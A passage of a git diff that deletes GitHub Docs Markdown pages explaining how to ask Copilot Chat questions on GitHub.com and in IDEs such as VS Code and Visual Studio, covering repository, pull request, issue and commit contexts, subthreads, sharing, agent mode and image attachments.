variables.product.prodname_copilot_short %}" box, type a question and press <kbd>Enter</kbd>. - - Some examples of general questions you could ask are: - - * `What are the advantages of the Go programming language?` - * `What is Agile software development?` - * `What is the most popular JavaScript framework?` - * `Give me some examples of regular expressions.` - * `Write a bash script to output today's date.` - -{% data reusables.copilot.stop-response-generation %} -1. If {% data variables.product.prodname_copilot_short %} uses a Bing search to answer your question, "Using web search results for 'SEARCH QUERY'" is displayed above the response. Click this to see the search results that {% data variables.product.prodname_copilot_short %} used to answer your question. -1. Within a conversation thread, you can ask follow-up questions. {% data variables.product.prodname_copilot_short %} will answer within the context of the conversation. For example, you could type "tell me more" to get {% data variables.product.prodname_copilot_short %} to expand on its last comment. - - You can use your initial question as a foundation for follow-up questions. A detailed foundational prompt can help {% data variables.product.prodname_copilot_short %} provide more relevant answers to your follow-up questions. For more information, see [Prompting {% data variables.product.prodname_copilot_chat %} to become your personal AI assistant for accessibility](https://github.blog/2023-10-09-prompting-github-copilot-chat-to-become-your-personal-ai-assistant-for-accessibility/) on the {% data variables.product.prodname_dotcom %} Blog. - -1. To start a new conversation, click {% data reusables.copilot.pencil-paper-icon %} at the top left of the page. -1. To see a list of your previous conversations, click {% octicon "sidebar-collapse" aria-label="Open sidebar" %} at the top left of the page. - -### Using subthreads in a conversation - -> [!NOTE] -> Subthreading in {% data variables.product.prodname_copilot_chat_short %} is currently in {% data variables.release-phases.public_preview %} and is subject to change. - -Subthreads are branches of a conversation that are created from a point in a conversation where you asked a question. Subthreads offer more control and flexibility for exploring aspects of a topic, or new topics, all within the same thread. - -You can create and navigate through subthreads in {% data variables.product.prodname_copilot_chat_short %}'s immersive view. In the {% data variables.product.prodname_copilot_chat_short %} panel, if you open a conversation that contains subthreads, only the most recently edited subthread is displayed. - -You can create a subthread in immersive mode by either editing or retrying any of your questions in the conversation. - -To edit a question: - -1. Hover over the question you want to edit. -1. Click the {% octicon "pencil" aria-label="Edit message" %} button that's displayed. - - ![Screenshot of the 'Edit message' button, highlighted with a dark orange outline.](/assets/images/help/copilot/subthread-edit-button.png) - -1. Edit the question, then click **Send**. - -> [!NOTE] -> You can only edit the text of a question. You can't edit any attachments. - -To retry a question: - -1. Hover over the response to a question you want to retry. Resubmitting a question to {% data variables.product.prodname_copilot_short %} may generate a different response. -1. Click the {% octicon "sync" aria-label="Retry" %} button. - - ![Screenshot of the 'Retry' button, highlighted with a dark orange outline.](/assets/images/help/copilot/subthread-retry-button.png) - -The response to your edited or retried question is displayed in a new subthread. - -To navigate between subthreads: - -* If you have retried a question, a retry counter is displayed under the response, alongside the retry button. - - ![Screenshot of the retry counter, highlighted with a dark orange outline.](/assets/images/help/copilot/subthread-retry-counter.png) - - Click {% octicon "chevron-left" aria-label="Previous response" %} or {% octicon "chevron-right" aria-label="Next response" %} to navigate to the previous or next subthread. - -* If you have edited a question, an edit counter is added below the question. - - ![Screenshot of the edit counter, highlighted with a dark orange outline.](/assets/images/help/copilot/subthread-edit-counter.png) - - Hover over the counter to display the edit and navigation buttons, then click {% octicon "chevron-left" aria-label="Previous response" %} or {% octicon "chevron-right" aria-label="Next response" %} to navigate to the previous or next subthread. - -## Asking {% data variables.product.prodname_copilot_chat_short %} questions in different contexts - -You can ask {% data variables.product.prodname_copilot_chat_short %} different types of questions depending on where you are on {% data variables.product.github %}. For example, to ask a question about a specific repository, you must be in the context of that repository. The following sections describe how to access the different contexts. - - For examples of the types of questions you can ask in different contexts, see [AUTOTITLE](/copilot/using-github-copilot/example-use-cases/example-prompts-for-copilot-chat?tool=webui). - -## Asking {% data variables.product.prodname_copilot_chat_short %} questions in a repository - -To ask a question about a specific repository, you must be viewing the repository on {% data variables.product.github %}. - -1. Navigate to a repository on {% data variables.product.github %}. -{% data reusables.copilot.open-chat-panel %} - - {% data variables.product.prodname_copilot_chat_short %} will open a new conversation, with the repository you are viewing selected as the context for your question. - - ![Screenshot of the {% data variables.product.prodname_copilot_short %} chat panel opened inside a repository. The specified repository is highlighted with a dark orange outline.](/assets/images/help/copilot/copilot-chat-in-repository.png) - -1. At the bottom of the panel, in the "Ask {% data variables.product.prodname_copilot_short %}" box, type a question and press <kbd>Enter</kbd>. - - > [!NOTE] - > - > {% data variables.product.prodname_copilot_short %}'s ability to answer natural language questions in a repository context is improved when the repository has been indexed for semantic code search. The indexing status of the repository is displayed when you start a conversation that has a repository context. For more information, see [AUTOTITLE](/enterprise-cloud@latest/copilot/managing-copilot/managing-github-copilot-in-your-organization/managing-github-copilot-features-in-your-organization/indexing-repositories-for-copilot-chat). - -## Asking {% data variables.product.prodname_copilot_chat_short %} questions about a specific file or symbol - -You can ask {% data variables.product.prodname_copilot_short %} about a specific file, folder, or symbol within a repository. - -> [!NOTE] A "symbol" is a named entity in code. This could be a variable, function, class, module, or any other identifier that's part of a codebase. - -{% data reusables.copilot.open-chat-panel %} -1. To select a repository for context, click {% octicon "paperclip" aria-label="Add attachments" %} at the bottom of the chat panel, then select "Repositories". - - ![Screenshot of the "Attach files or symbols" button, highlighted with a dark orange outline.](/assets/images/help/copilot/chat-paperclip-icon.png) - -1. Once the repository has been attached, click {% octicon "paperclip" aria-label="Add attachments" %} again, then select "Files, folders, and symbols". - -1. Search for and select one or more files, folders, or symbols. - -1. In the "Ask {% data variables.product.prodname_copilot_short %}" box, type a question and press <kbd>Enter</kbd>. - - {% data variables.product.prodname_copilot_short %} replies in the chat panel. - - > [!TIP] - > - > {% data reusables.copilot.semantic-index-info %} - -{% ifversion ghec %} - -## Asking {% data variables.product.prodname_copilot_chat_short %} questions about a knowledge base - -Organization owners (with a {% data variables.product.prodname_copilot_enterprise_short %} subscription) can create knowledge bases, grouping together Markdown documentation across one or more repositories. You can use a knowledge base to ask questions with that context in mind. - -When you enter a query, {% data variables.product.prodname_copilot_short %} searches for relevant documentation snippets, synthesizes a summary of the relevant snippets to answer your question, and provides links to the source documentation for additional context. - -1. At the top right of any page on {% data variables.product.github %}, click {% octicon "triangle-down" aria-label="The downwards triangle icon" %} beside the **{% octicon "copilot" aria-hidden="true" %}** icon and click **Immersive** in the dropdown menu. - - ![Screenshot of the 'Immersive' button, highlighted with a dark orange outline.](/assets/images/help/copilot/copilot-immersive-button.png) - -1. To select a knowledge base for context, click {% octicon "paperclip" aria-label="Add attachments" %} at the bottom of the chat panel, then select "Knowledge base". - - ![Screenshot of the "Attach files or symbols" button, highlighted with a dark orange outline.](/assets/images/help/copilot/chat-paperclip-icon.png) - -1. In the "Search knowledge bases" box, type the name of the knowledge base you want to use as context, then click the knowledge base in the list of search results. - -1. At the bottom of the page, in the "Ask {% data variables.product.prodname_copilot_short %}" box, type a question and press <kbd>Enter</kbd>. - -1. At the bottom of the response, {% data variables.product.prodname_copilot_short %} provides links to the source documentation for additional context. - -1. Within a conversation thread, you can ask follow-up questions. Follow-up questions will continue to use the selected knowledge base as context until you explicitly detach the knowledge base or select a different one. - -{% endif %} - -## Asking {% data variables.product.prodname_copilot_chat_short %} questions about specific pieces of code - -You can chat with {% data variables.product.prodname_copilot_short %} about a file in your repository, or about specific lines of code within a file. - -1. On {% data variables.product.github %}, navigate to a repository and open a file. -1. Do one of the following: - * To ask a question about the entire file, click the {% data variables.product.prodname_copilot_short %} icon ({% octicon "copilot" aria-hidden="true" %}) at the top right of the file view. - - ![Screenshot of the {% data variables.product.prodname_copilot_short %} button, highlighted with a dark orange outline, at the top of the file view.](/assets/images/help/copilot/copilot-button-for-file.png) - - * To ask a question about specific lines within the file: - - 1. Select the lines by clicking the line number for the first line you want to select, holding down <kbd>Shift</kbd> and clicking the line number for the last line you want to select. - 1. To ask your own question about the selected lines, click the {% data variables.product.prodname_copilot_short %} icon ({% octicon "copilot" aria-hidden="true" %}) to the right of your selection. - This displays the {% data variables.product.prodname_copilot_chat %} panel with the selected lines indicated as the context of your question. - 1. To ask a predefined question, click the downward-pointing button beside the {% data variables.product.prodname_copilot_short %} icon, then choose one of the options. - - ![Screenshot of the {% data variables.product.prodname_copilot_short %} buttons, highlighted with a dark orange outline, to the right of some selected code.](/assets/images/help/copilot/copilot-buttons-inline-code.png) - -1. If you clicked the {% data variables.product.prodname_copilot_short %} icon, type a question in the "Ask {% data variables.product.prodname_copilot_short %}" box at the bottom of the chat panel and press <kbd>Enter</kbd>. - - {% data variables.product.prodname_copilot_short %} responds to your request in the panel. - - ![Screenshot of a response to the question "What does the function at the selected lines do?"](/assets/images/help/copilot/copilot-sample-chat-response.png) - -## Asking questions about alerts from {% data variables.product.prodname_GHAS %} products - -{% data variables.product.prodname_copilot_short %} allows you to use natural language questions to ask about security alerts in repositories in your organization when these alerts are generated by {% data variables.product.prodname_GHAS %} features ({% data variables.product.prodname_code_scanning %}, {% data variables.product.prodname_secret_scanning %}, and {% data variables.product.prodname_dependabot_alerts %}). - -1. At the top right of any page on {% data variables.product.github %}, click {% octicon "triangle-down" aria-label="The downwards triangle icon" %} beside the **{% octicon "copilot" aria-hidden="true" %}** icon and click **Immersive** in the dropdown menu. - - ![Screenshot of the 'Immersive' button, highlighted with a dark orange outline.](/assets/images/help/copilot/copilot-immersive-button.png) - -1. To select a repository for context, click {% octicon "paperclip" aria-label="Add attachments" %} at the bottom of the chat panel, then select "Repositories". - - ![Screenshot of the "Attach files or symbols" button, highlighted with a dark orange outline.](/assets/images/help/copilot/chat-paperclip-icon.png) - -1. In the "Search repositories" box, type the name of the repository you want to ask about, then click the repository in the list of search results. - -1. In the "Ask {% data variables.product.prodname_copilot_short %}" box, type a question and press <kbd>Enter</kbd>. - - <a id="repo-indexing-note"></a> - - > [!TIP] - > - > {% data reusables.copilot.semantic-index-info %} - -## Asking questions about a specific pull request - -You can ask {% data variables.product.prodname_copilot_short %} different questions about a pull request, from different views within the pull request. For example, you can ask {% data variables.product.prodname_copilot_short %} to summarize a pull request, or explain what has changed within specific files or lines of code in a pull request. - -### Get a summary of a pull request - -1. On {% data variables.product.github %}, navigate to a pull request in a repository. -{% data reusables.copilot.open-chat-panel %} -{% data reusables.copilot.chat-previous-conversation %} -1. At the bottom of the {% data variables.product.prodname_copilot_chat_short %} panel, in the "Ask {% data variables.product.prodname_copilot_short %}" box, type a question and press <kbd>Enter</kbd>. - -### Ask about changes to a specific file in a pull request - -1. On {% data variables.product.github %}, navigate to a pull request in a repository. -1. Click the **Files changed** tab. -1. Click {% octicon "kebab-horizontal" aria-label="Show options" %} at the top right of the file, then click **Ask {% data variables.product.prodname_copilot_short %} about this diff**. -1. Type a question in the "Ask {% data variables.product.prodname_copilot_short %}" box at the bottom of the chat panel and press <kbd>Enter</kbd>. - -### Ask about specific lines within a file in a pull request - -1. On {% data variables.product.github %}, navigate to a pull request in a repository. -1. Click the **Files changed** tab. -1. Click the line number for the first line you want to select, then hold down <kbd>Shift</kbd> and click the line number for the last line you want to select. -1. Ask {% data variables.product.prodname_copilot_short %} a question, or choose from a list of predefined questions. - * _To ask your own question about the selected lines_, to the right of your selection, click the {% octicon "copilot" aria-hidden="true" %} {% data variables.product.prodname_copilot_short %} icon. - This displays the {% data variables.product.prodname_copilot_chat %} panel with the selected lines indicated as the context of your question. - -### Ask why a workflow has failed - -1. On {% data variables.product.github %}, navigate to a pull request in a repository. -1. Scroll to the bottom of the page, then, next to one of the failing checks, click **Details**. -{% data reusables.copilot.open-chat-panel %} -{% data reusables.copilot.chat-previous-conversation %} -1. At the bottom of the {% data variables.product.prodname_copilot_chat_short %} panel, in the "Ask {% data variables.product.prodname_copilot_short %}" box, ask {% data variables.product.prodname_copilot_short %} why the pull request has failed and press <kbd>Enter</kbd>. - -{% data variables.product.prodname_copilot_short %} will respond with information about why the pull request failed. {% data variables.product.prodname_copilot_short %} may also provide suggestions for how to fix the issue. - -1. If {% data variables.product.prodname_copilot_short %} has provided steps to fix the issue, you can follow the steps to resolve the problem. - -## Asking a question about a specific issue or discussion - -You can ask {% data variables.product.prodname_copilot_short %} to summarize or answer questions about a specific issue or discussion. - -> [!NOTE] The quality of {% data variables.product.prodname_copilot_chat_short %}'s responses may be degraded when working with issues or discussions that have very long bodies or a large number of comments. For example, this may occur if you ask {% data variables.product.prodname_copilot_short %} to summarize a long-running discussion. Where this happens, {% data variables.product.prodname_copilot_short %} will warn you so you can double check its output. - -1. Navigate to an issue or discussion on {% data variables.product.github %}. -{% data reusables.copilot.open-chat-panel %} -{% data reusables.copilot.chat-previous-conversation %} -1. At the bottom of the {% data variables.product.prodname_copilot_short %} chat panel, in the "Ask {% data variables.product.prodname_copilot_short %}" box, type a question and press <kbd>Enter</kbd>. - - {% data variables.product.prodname_copilot_short %} responds to your request in the panel. - - > [!TIP] Instead of navigating to an issue or discussion in your browser to ask a question, you can include the relevant URL in your message. For example, `Summarize https://github.com/monalisa/octokit/issues/1`. - -## Asking a question about a specific commit - -You can ask {% data variables.product.prodname_copilot_short %} to explain the changes in a commit. - -1. Navigate to a commit on {% data variables.product.github %}. -{% data reusables.copilot.open-chat-panel %} -{% data reusables.copilot.chat-previous-conversation %} -1. At the bottom of the {% data variables.product.prodname_copilot_short %} chat panel, in the "Ask {% data variables.product.prodname_copilot_short %}" box, type a question and press <kbd>Enter</kbd>. - - > [!TIP] - > If you know the SHA for a commit, instead of navigating to the commit, you can ask {% data variables.product.prodname_copilot_short %} about the commit from any page in the repository on {% data variables.product.github %} by including the SHA in your message. For example, `What changed in commit a778e0eab?` - -{% data reusables.copilot.stop-response-generation %} - -## Accessing {% data variables.product.prodname_copilot_chat_short %} from the search bar - -You can ask {% data variables.product.prodname_copilot_short %} a question about an entire repository by typing your question in the main search box of the repository. - -1. Navigate to a repository on {% data variables.product.github %}. -1. Press <kbd>/</kbd>, or click in the main search box at the top of the page. -1. In the search box, after `repo:OWNER/REPO`, type the question you want to ask {% data variables.product.prodname_copilot_short %}. - - For example, you could enter: - - * What does this repo do? - * Where is authentication implemented in this codebase? - * How does license file detection work in this repo? - -1. Click **Ask {% data variables.product.prodname_copilot_short %}**. - - ![Screenshot of the main search box on {% data variables.product.prodname_dotcom %}. The drop-down option "Ask {% data variables.product.prodname_copilot_short %}" is highlighted with an orange outline.](/assets/images/help/copilot/ask-copilot-from-search-bar.png) - - The {% data variables.product.prodname_copilot_chat %} panel is displayed and {% data variables.product.prodname_copilot_short %} responds to your request. - -{% data reusables.copilot.stop-response-generation %} - -## Extending {% data variables.product.prodname_copilot_chat_dotcom_short %} - -{% data reusables.copilot.copilot-extensions.extending-copilot-chat %} - -## Sharing {% data variables.product.prodname_copilot_chat_short %} conversations - -> [!NOTE] This feature is currently in {% data variables.release-phases.public_preview %} and subject to change. During the {% data variables.release-phases.public_preview %}, this feature is only available to users without enterprise or team memberships. - -You can share {% data variables.product.prodname_copilot_chat_short %} conversations from the immersive view ([https://github.com/copilot](https://github.com/copilot)). Shared conversations are public or private (i.e. permission-based), for example, a conversation about a private repository. If you share a private conversation, the recipient must have the necessary permissions to view the content. Shared conversations are read-only—the recipient can view the conversation but cannot interact. - -1. In the top right of any page on {% data variables.product.github %}, click the **{% octicon "copilot" aria-hidden="true" %}** {% data variables.product.prodname_copilot %} icon next to the search bar. -1. To view a conversation in immersive mode, click **{% octicon "screen-full" aria-hidden="true" %} Immersive**. -1. Once you submit your first prompt, a share button will appear in the upper right corner. Click {% octicon "share" aria-label="Share" %} to open the share dialog. - - ![Screenshot of the main search box on {% data variables.product.prodname_dotcom %}. The share button is highlighted with an orange outline.](/assets/images/help/copilot/chat-share-button.png) - -1. To copy the conversation link, click **{% octicon "link" aria-label="Copy conversation link" %} Create link**. The link is copied to your clipboard. - -## Sharing feedback about {% data variables.product.prodname_copilot_chat_dotcom %} - -{% data reusables.rai.copilot-dotcom-feedback-collection %} - -To give feedback about a particular {% data variables.product.prodname_copilot_chat_short %} response, click either the thumbs up or thumbs down icon at the bottom of each chat response. - -To give feedback about {% data variables.product.prodname_copilot_chat_short %} in general, click the ellipsis (**...**) at the top right of the chat panel, then click **{% octicon "comment-discussion" aria-hidden="true" %} Give feedback**. - -## Further reading - -* [AUTOTITLE](/copilot/github-copilot-chat/copilot-chat-in-ides/using-github-copilot-chat-in-your-ide). -* [AUTOTITLE](/copilot/using-github-copilot/asking-github-copilot-questions-in-github-mobile). diff --git a/content/copilot/using-github-copilot/copilot-chat/asking-github-copilot-questions-in-your-ide.md b/content/copilot/using-github-copilot/copilot-chat/asking-github-copilot-questions-in-your-ide.md deleted file mode 100644 index e580d99c2c32..000000000000 --- a/content/copilot/using-github-copilot/copilot-chat/asking-github-copilot-questions-in-your-ide.md +++ /dev/null @@ -1,490 +0,0 @@ ---- -title: Asking GitHub Copilot questions in your IDE -intro: 'Use {% data variables.product.prodname_copilot_chat_short %} in your editor to give you code suggestions, explain code, generate unit tests, and suggest code fixes.' -topics: - - Copilot -redirect_from: - - /copilot/github-copilot-chat/using-github-copilot-chat - - /copilot/github-copilot-chat/using-github-copilot-chat-in-your-ide - - /copilot/github-copilot-chat/copilot-chat-in-ides/using-github-copilot-chat-in-your-ide - - /copilot/github-copilot-chat/copilot-chat-in-ides - - /copilot/using-github-copilot/asking-github-copilot-questions-in-your-ide -defaultTool: vscode -versions: - feature: copilot -shortTitle: Chat in IDE ---- - -{% vscode %} - -## Prerequisites - -* **Access to {% data variables.product.prodname_copilot %}**. See [AUTOTITLE](/copilot/about-github-copilot/what-is-github-copilot#getting-access-to-copilot). -{% data reusables.copilot.vscode-prerequisites %} - -{% data reusables.copilot.chat-access-denied %} - -## Submitting prompts - -You can ask {% data variables.product.prodname_copilot_chat_short %} to give you code suggestions, explain code, generate unit tests, and suggest code fixes. - -1. To open the chat view, click the **{% octicon "copilot" aria-hidden="true" %}** icon in the title bar of {% data variables.product.prodname_vscode %}. If the **{% octicon "copilot" aria-hidden="true" %}** icon is not displayed, right-click the title bar and make sure that **Command Center** is selected. - - ![Screenshot of the '{% data variables.product.prodname_copilot_chat_short %}' button, highlighted with a dark orange outline.](/assets/images/help/copilot/vsc-copilot-chat-icon.png) - -1. Enter a prompt in the prompt box, or click one of the suggested prompts. For an introduction to the kinds of prompts you can use, see [AUTOTITLE](/copilot/using-github-copilot/guides-on-using-github-copilot/getting-started-with-prompts-for-copilot-chat). - -1. Evaluate {% data variables.product.prodname_copilot_short %}'s response, and make a follow-up request if needed. - - The response may contain text, code blocks, buttons, images, URIs, and file trees. The response often includes interactive elements. For example, the response may include a menu to insert a code block, or a button to invoke a {% data variables.product.prodname_vscode %} command. - - To see the files that {% data variables.product.prodname_copilot_chat_short %} used to generate the response, select the **Used _n_ references** dropdown at the top of the response. The references may include a link to a custom instructions file for your repository. This file contains additional information that is automatically added to all of your chat questions to improve the quality of the responses. For more information, see [AUTOTITLE](/copilot/customizing-copilot/adding-repository-custom-instructions-for-github-copilot). - -## Using keywords in your prompt - -You can use special keywords to help {% data variables.product.prodname_copilot_short %} understand your prompt. For examples, see [AUTOTITLE](/copilot/using-github-copilot/guides-on-using-github-copilot/getting-started-with-prompts-for-copilot-chat). - -### Chat participants - -Chat participants are like domain experts who have a specialty that they can help you with. - -{% data variables.product.prodname_copilot_chat_short %} can infer relevant chat participants based on your natural language prompt, improving discovery of advanced capabilities without you having to explicitly specify the participant you want to use in your prompt. - -> [!NOTE] Automatic inference for chat participants is currently in {% data variables.release-phases.public_preview %} and is subject to change. - -Alternatively, you can manually specify a chat participant to scope your prompt to a specific domain. To do this, type `@` in the chat prompt box, followed by a chat participant name. - -For a list of available chat participants, type `@` in the chat prompt box. See also [AUTOTITLE](/copilot/using-github-copilot/github-copilot-chat-cheat-sheet?tool=vscode#chat-participants) or [Chat participants](https://code.visualstudio.com/docs/copilot/copilot-chat#_chat-participants) in the {% data variables.product.prodname_vscode %} documentation. - -### {% data variables.product.prodname_copilot_extensions_short %} chat participants - -You can also install {% data variables.product.prodname_copilot_extensions_short %} that provide chat participants. You can install these extensions from [{% data variables.product.prodname_marketplace %}](https://github.com/marketplace?type=apps&copilot_app=true) and from [{% data variables.product.prodname_vscode_marketplace %}](https://marketplace.visualstudio.com/search?target=VSCode&category=Chat&sortBy=Installs). For information about extensions from {% data variables.product.prodname_marketplace %} that provide chat participants, see [AUTOTITLE](/copilot/github-copilot-chat/github-copilot-extensions/about-github-copilot-extensions). - -### Slash commands - -Use slash commands to avoid writing complex prompts for common scenarios. To use a slash command, type `/` in the chat prompt box, followed by a command. - -To see all available slash commands, type `/` in the chat prompt box. See also [AUTOTITLE](/copilot/using-github-copilot/github-copilot-chat-cheat-sheet?tool=vscode#slash-commands) or [Slash commands](https://code.visualstudio.com/docs/copilot/copilot-chat#_slash-commands) in the {% data variables.product.prodname_vscode %} documentation. - -### Chat variables - -Use chat variables to include specific context in your prompt. To use a chat variable, type `#` in the chat prompt box, followed by a chat variable. - -To see all available chat variables, type `#` in the chat prompt box. See also [AUTOTITLE](/copilot/using-github-copilot/github-copilot-chat-cheat-sheet?tool=vscode#chat-variables) or [Chat variables](https://code.visualstudio.com/docs/copilot/copilot-chat#_chat-variables) in the {% data variables.product.prodname_vscode %} documentation. - -## Using {% data variables.product.prodname_dotcom %} skills for {% data variables.product.prodname_copilot_short %} - -{% data reusables.copilot.using-skills %} - -{% ifversion ghec %} - -## Asking a question about a knowledge base - -> [!NOTE] This feature is only available if you have a {% data variables.product.prodname_copilot_enterprise_short %} subscription. - -Organization owners can create knowledge bases, grouping together Markdown documentation across one or more repositories. For more information, see [AUTOTITLE](/copilot/managing-copilot/managing-github-copilot-in-your-organization/managing-github-copilot-features-in-your-organization/managing-copilot-knowledge-bases). - -You can tell {% data variables.product.prodname_copilot_short %} to answer a question within the context of a knowledge base. - -1. At the bottom of the {% data variables.product.prodname_copilot_chat_short %} window, in the **Ask {% data variables.product.prodname_copilot_short %} or type / for commands** text box, type `@github #kb`, then press **Enter** to open the knowledge base selector. -1. Pick one of your available knowledge bases using the arrow keys, then press **Enter**. -1. In the **Ask {% data variables.product.prodname_copilot_short %} or type / for commands** text box, continue your message with your question, and then press **Enter**. -1. {% data variables.product.prodname_copilot_chat_short %} will process your question and provide an answer, with citations from your knowledge base, in the chat window. - -{% endif %} - -## AI models for {% data variables.product.prodname_copilot_chat_short %} - -{% data reusables.copilot.change-the-ai-model %} - -## Additional ways to access {% data variables.product.prodname_copilot_chat_short %} - -In addition to submitting prompts through the chat view, you can submit prompts in other ways: - -* **Quick chat:** To open the quick chat dropdown, enter <kbd>⇧</kbd>+<kbd>⌥</kbd>+<kbd>⌘</kbd>+<kbd>L</kbd> (Mac) / <kbd>Ctrl</kbd>+<kbd>Shift</kbd>+<kbd>Alt</kbd>+<kbd>L</kbd> (Windows/Linux). -* **Inline:** To start an inline chat directly in the editor or integrated terminal, enter <kbd>Command</kbd>+<kbd>i</kbd> (Mac) / <kbd>Ctrl</kbd>+<kbd>i</kbd> (Windows/Linux). -* **Smart actions:** To submit prompts via the context menu, right click in your editor, select **{% data variables.product.prodname_copilot_short %}** in the menu that appears, then select one of the actions. Smart actions can also be accessed via the sparkle icon that sometimes appears when you select a line of code. - -See [inline chat](https://code.visualstudio.com/docs/copilot/copilot-chat#_inline-chat), [quick chat](https://code.visualstudio.com/docs/copilot/copilot-chat#_quick-chat), and [chat smart actions](https://code.visualstudio.com/docs/copilot/copilot-chat#_chat-smart-actions) in the {% data variables.product.prodname_vscode %} documentation for more details. - -## {% data variables.product.prodname_copilot_edits_short %} - -{% data reusables.copilot.copilot-edits.about-copilot-edits %} - -### Using edit mode - -1. To start an edit session, select **Open {% data variables.product.prodname_copilot_edits_short %}** from the {% data variables.product.prodname_copilot_chat_short %} menu. -1. Optionally, add relevant files to the _working set_ to indicate to {% data variables.product.prodname_copilot %} which files you want to work on. -1. Submit a prompt. In response to your prompt, {% data variables.product.prodname_copilot_edits_short %} determines which files in your _working set_ to change and adds a short description of the change. -1. Review the changes and **Apply** or **Discard** the edits for each file. - -For more detailed instructions, see [{% data variables.product.prodname_copilot_edits_short %}](https://code.visualstudio.com/docs/copilot/copilot-edits) in the {% data variables.product.prodname_vscode %} documentation. - -### Using agent mode - -{% data reusables.copilot.agent-mode-public-preview-note %} - -1. To start an edit session, select **Open {% data variables.product.prodname_copilot_edits_short %}** from the {% data variables.product.prodname_copilot_chat_short %} menu. -1. Select **Agent** from the mode dropdown menu. -1. Submit a prompt. In response to your prompt, {% data variables.product.prodname_copilot_short %} streams the edits in the editor, updates the working set, and if necessary, suggests terminal commands to run. -1. Review the changes. If {% data variables.product.prodname_copilot_short %} suggested terminal commands, confirm whether or not {% data variables.product.prodname_copilot_short %} can run them. In response, {% data variables.product.prodname_copilot_short %} iterates and performs additional actions to complete the task in your original prompt. - -For more information, see [{% data variables.product.prodname_copilot_edits_short %}](https://aka.ms/vscode-copilot-agent) in the {% data variables.product.prodname_vscode %} documentation. - -## Vision - -> [!NOTE] Vision is currently in {% data variables.release-phases.public_preview %} and is subject to change. - -Vision requires that you use the GPT-4o model and upload one of the following file types: JPEG (`.jpg`, `.jpeg`), PNG (`.png`), GIF (`.gif`), or WEBP (`.webp`). - -You can attach images to your chat prompts to help {% data variables.product.prodname_copilot_short %} understand your question. For example, you can attach a screenshot of a code snippet to ask {% data variables.product.prodname_copilot_short %} to explain the code, or share mockups of new designs to ask {% data variables.product.prodname_copilot_short %} to generate code. - -You can drag and drop images into the chat window, or attach them through the {% data variables.product.prodname_vscode_shortname %} UI. - -## Sharing feedback - -To indicate whether a response was helpful, use the thumbs up and thumbs down icons that appear next to the response. - -To leave feedback about the {% data variables.product.prodname_copilot_chat %} extension, open an issue in the [microsoft/vscode-copilot-release](https://github.com/microsoft/vscode-copilot-release/issues) repository. - -## Further reading - -* [AUTOTITLE](/copilot/using-github-copilot/prompt-engineering-for-github-copilot) -* [Using {% data variables.product.prodname_copilot_chat_short %} in {% data variables.product.prodname_vscode_shortname %}](https://code.visualstudio.com/docs/copilot/copilot-chat) and [Getting started with {% data variables.product.prodname_copilot_chat %} in {% data variables.product.prodname_vscode_shortname %}](https://code.visualstudio.com/docs/copilot/getting-started-chat) in the {% data variables.product.prodname_vscode %} documentation -* [AUTOTITLE](/copilot/github-copilot-enterprise/copilot-chat-in-github/using-github-copilot-chat-in-githubcom) -* [AUTOTITLE](/copilot/github-copilot-chat/about-github-copilot-chat) -* [AUTOTITLE](/free-pro-team@latest/site-policy/github-terms/github-terms-for-additional-products-and-features#github-copilot) -* [{% data variables.product.prodname_copilot %} Trust Center](https://resources.github.com/copilot-trust-center) -* [{% data variables.product.prodname_copilot %} FAQ](https://github.com/features/copilot#faq) - -{% endvscode %} - -{% visualstudio %} - -## Prerequisites - -* **Access to {% data variables.product.prodname_copilot %}**. See [AUTOTITLE](/copilot/about-github-copilot/what-is-github-copilot#getting-access-to-copilot). -* **{% data variables.product.prodname_vs %} 2022 version 17.8 or later**. See [Install {% data variables.product.prodname_vs %}](https://learn.microsoft.com/visualstudio/install/install-visual-studio) in the {% data variables.product.prodname_vs %} documentation. -* _For {% data variables.product.prodname_vs %} 17.8 and 17.9:_ - * **{% data variables.product.prodname_copilot %} extension**. See [Install {% data variables.product.prodname_copilot %} in {% data variables.product.prodname_vs %}](https://learn.microsoft.com/visualstudio/ide/visual-studio-github-copilot-install-and-states) in the {% data variables.product.prodname_vs %} documentation. - * **{% data variables.product.prodname_copilot_chat %} extension**. See [Install {% data variables.product.prodname_copilot %} in {% data variables.product.prodname_vs %}](https://learn.microsoft.com/visualstudio/ide/visual-studio-github-copilot-install-and-states) in the {% data variables.product.prodname_vs %} documentation. - - _{% data variables.product.prodname_vs %} 17.10 and later have the {% data variables.product.prodname_copilot %} and {% data variables.product.prodname_copilot_chat %} extensions built in. You don't need to install them separately._ -* **Sign in to {% data variables.product.company_short %} in {% data variables.product.prodname_vs %}**. If you experience authentication issues, see [AUTOTITLE](/copilot/troubleshooting-github-copilot/troubleshooting-issues-with-github-copilot-chat#troubleshooting-authentication-issues-in-your-editor). - -{% data reusables.copilot.chat-access-denied %} - -## Submitting prompts - -You can ask {% data variables.product.prodname_copilot_chat_short %} to give you code suggestions, explain code, generate unit tests, and suggest code fixes. - -1. In the {% data variables.product.prodname_vs %} menu bar, click **View**, then click **{% data variables.product.prodname_copilot_chat %}**. -1. In the {% data variables.product.prodname_copilot_chat_short %} window, enter a prompt, then press **Enter**. For example prompts, see [AUTOTITLE](/copilot/using-github-copilot/guides-on-using-github-copilot/getting-started-with-prompts-for-copilot-chat). -1. Evaluate {% data variables.product.prodname_copilot_short %}'s response, and submit a follow up prompt if needed. - - The response often includes interactive elements. For example, the response may include buttons to copy, insert, or preview the result of a code block. - - To see the files that {% data variables.product.prodname_copilot_chat_short %} used to generate the response, click the **References** link below the response. The references may include a link to a custom instructions file for your repository. This file contains additional information that is automatically added to all of your chat questions to improve the quality of the responses. For more information, see [AUTOTITLE](/copilot/customizing-copilot/adding-repository-custom-instructions-for-github-copilot). - -## Using keywords in your prompt - -You can use special keywords to help {% data variables.product.prodname_copilot_short %} understand your prompt. - -### Extending {% data variables.product.prodname_copilot_chat_short %} - -{% data reusables.copilot.copilot-extensions.extending-copilot-chat %} - -### Slash commands - -Use slash commands to avoid writing complex prompts for common scenarios. To use a slash command, type `/` in the chat prompt box, followed by a command. - -To see all available slash commands, type `/` in the chat prompt box. See also [AUTOTITLE](/copilot/using-github-copilot/github-copilot-chat-cheat-sheet?tool=vscode#slash-commands) or [Slash commands](https://learn.microsoft.com/visualstudio/ide/copilot-chat-context#slash-commands) in the {% data variables.product.prodname_vs %} documentation. - -### References - -By default, {% data variables.product.prodname_copilot_chat_short %} will reference the file that you have open or the code that you have selected. You can also use `#` followed by a file name, file name and line numbers, or `solution` to reference a specific file, lines, or solution. - -See also [AUTOTITLE](/copilot/using-github-copilot/github-copilot-chat-cheat-sheet?tool=visualstudio#references) or 